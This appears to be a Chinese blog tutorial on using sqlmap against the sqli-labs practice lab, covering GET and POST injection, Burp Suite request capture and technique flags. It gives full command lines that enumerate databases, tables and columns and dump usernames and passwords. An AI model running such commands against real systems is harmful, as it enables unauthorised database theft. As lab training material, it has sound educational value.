sqlmap学习(sqli-labs为示例)

文章目录

  • 前言
  • sql-map部分指令
    • - -is-dba
    • - -current
    • -D,-T,-C
    • - -dump
    • -v
    • --batch
  • get类型
    • 检测可注入类型
    • 获取数据库
    • 获取表
    • 获取列名
    • 获取字段信息
  • post类型
    • 准备工作
    • 检测可注入类型
    • 破解数据库
      • 方法一
      • 方法二
    • 破解数据表
      • 方法一
      • 方法二
    • 获取列名
      • 方法一
      • 方法二
    • 获取字段信息
      • 方法一
      • 方法二
  • 指定注入方式
    • 联合查询注入
    • 时间盲注

前言

由于python学的啥也不是,脚本写的也很不咋滴(不会写),因此来学习sqlmap的使用,本人只是小白,如果出现错误还请各位师傅多多指正。

sql-map部分指令

- -is-dba

--is-dba判断当前用户是管理员权限

- -current

 --current-user:检测当前用户
--current-db:检测当前数据库

-D,-T,-C

-D:指定数据库
-T:指定数据表
-C:指定字段,用逗号间隔

- -dump

--dump:获取字段信息

-v

-vx(x指数字)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:显示有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

–batch

--batch:使用非交互式扫描,SQLMap将不会询问

get类型

这里以sql-labs第一关来进行示例

检测可注入类型

python sqlmap.py -u 网址

示例如下

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1

最终执行结果如下
sqlmap学习(sqli-labs为示例)_第1张图片给出了四种可以注入的方法,分别是get型注入,报错注入,时间盲注,联合查询注入

中间会出现三个选择的(全选y即可),具体如下

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
//检测到数据库是mysql,询问你是否要跳过其他数据库
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
//提示是否扫描等级为1风险为1下的所有payload
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
//获取参数id易受攻击。你想继续测试其他的吗,这里我们的参数就一个id,因此选y即可

获取数据库

python sqlmap.py -u 网址 --dbs

解释:-u(--url)指的是url,即网址, --dbs是指数据库

示例如下

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 --dbs

执行结果
sqlmap学习(sqli-labs为示例)_第2张图片

获取表

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"表名" --tables

示例如下

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"security" --tables

执行结果如下
sqlmap学习(sqli-labs为示例)_第3张图片

获取列名

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"数据名"  -T"表名" --columns -v3
//-v3:显示payload

示例:

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"security"  -T"users" --columns -v3

执行结果如下
sqlmap学习(sqli-labs为示例)_第4张图片

获取字段信息

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"数据库名"  -T"表名" -C"列名" --dump  -v3

示例:

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"security"  -T"users" -C"id,username,password" --dump  -v3

执行结果如下
sqlmap学习(sqli-labs为示例)_第5张图片

post类型

准备工作

post注入时,无法直接利用sqlmap来进行破解,但是可以利用burpsuite这个工具来获取内容,将内容复制到一个txt文本中,再利用sqlmap对文本进行破解,具体操作如下
开启浏览器代理,刷新界面,使burpsuite获取到靶场内容,然后复制到下来
sqlmap学习(sqli-labs为示例)_第6张图片

检测可注入类型

构造payload如下

python sqlmap.py -r 文件路径 --batch

示例如下

python sqlmap.py -r "D:\sqlmap\2.txt" --batch

执行结果如下
sqlmap学习(sqli-labs为示例)_第7张图片

破解数据库

方法一

python sqlmap.py -r 文件路径 --batch --dbs
//-r指定路径,--batch无视选择 --dbs是获取数据库

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" --batch --dbs

执行结果
sqlmap学习(sqli-labs为示例)_第8张图片

方法二

python sqlmap.py -r 文件路径 -p注入参数 --dbms mysql --dbs
//-r指定路径,-p指定注入参数,--dbms指的是数据库管理系统,--dbms mysql 就代表mysql全部数据
--dbs 指获取数据库名

示例

python sqlmap.py -r "D:\sqlmap\3.txt" -p"uname " --dbms mysql --dbs

执行结果如下
sqlmap学习(sqli-labs为示例)_第9张图片

破解数据表

方法一

python sqlmap.py -r 文件路径名 -D数据库名 --batch --tables

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -D"security" --batch --tables
//获取security库下全部表名

执行结果如下
sqlmap学习(sqli-labs为示例)_第10张图片

方法二

python sqlmap.py -r 文件路径名 -p注入参数 --dbms mysql --tables

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -p"passwd" --dbms mysql --tables
//以passwd为参数,在mysql数据库中得到全部表名

执行结果如下
sqlmap学习(sqli-labs为示例)_第11张图片

获取列名

方法一

python sqlmap.py -r 文件路径 -D数据库名 -T表名 --batch --columns
//-T后跟表名,可得到表的全部列名,当T不写时默认是该数据库所有表的全部列名

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -D"security" -T"users" --batch --columns

执行结果如下
sqlmap学习(sqli-labs为示例)_第12张图片

方法二

python sqlmap.py -r 文件路径-p注入参数 --dbms mysql --columns

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -p"passwd" --dbms mysql --columns
//获取当前数据库下的列名

执行结果如下
sqlmap学习(sqli-labs为示例)_第13张图片

获取字段信息

方法一

python sqlmap.py -r 文件路径 -D数据库名 -T表名 -C列名 --dump --batch

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -D"security" -T"users" -C"username,password" --dump --batch

执行结果如下
sqlmap学习(sqli-labs为示例)_第14张图片

方法二

python sqlmap.py -r 文件路径 -p注入参数 --dbms mysql --dump

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -p"passwd" --dbms mysql --dump
//获取当前数据库下全部的字段信息

sqlmap学习(sqli-labs为示例)_第15张图片
sqlmap学习(sqli-labs为示例)_第16张图片

指定注入方式

sqlmap默认利用可用的全部方式,当我们想利用某一种方式来进行注入时,该怎么办呢
指令

--technique B 布尔盲注

--technique E 报错注入

--technique U union查询注入

--technique S 堆叠注入

--technique T 时间盲注

--technique Q 内联查询注入

部分示例如下

联合查询注入

sqlmap学习(sqli-labs为示例)_第17张图片

时间盲注

sqlmap -u"http://192.168.134.132/Less-28a/?id=1" --technique T --time-sec 1 --dbs   
//--technique T指定使用时间盲注,--time-sec 1 设置时间盲注时间为1,--dbs  查询数据库

执行结果如下
sqlmap学习(sqli-labs为示例)_第18张图片

 sqlmap -u"http://192.168.134.132/Less-28a/?id=1"  --technique T --time-sec 1 --tables 

执行结果如下
sqlmap学习(sqli-labs为示例)_第19张图片

sqlmap学习(sqli-labs为示例)_第20张图片

你可能感兴趣的:(sql-lab,学习,数据库,mysql)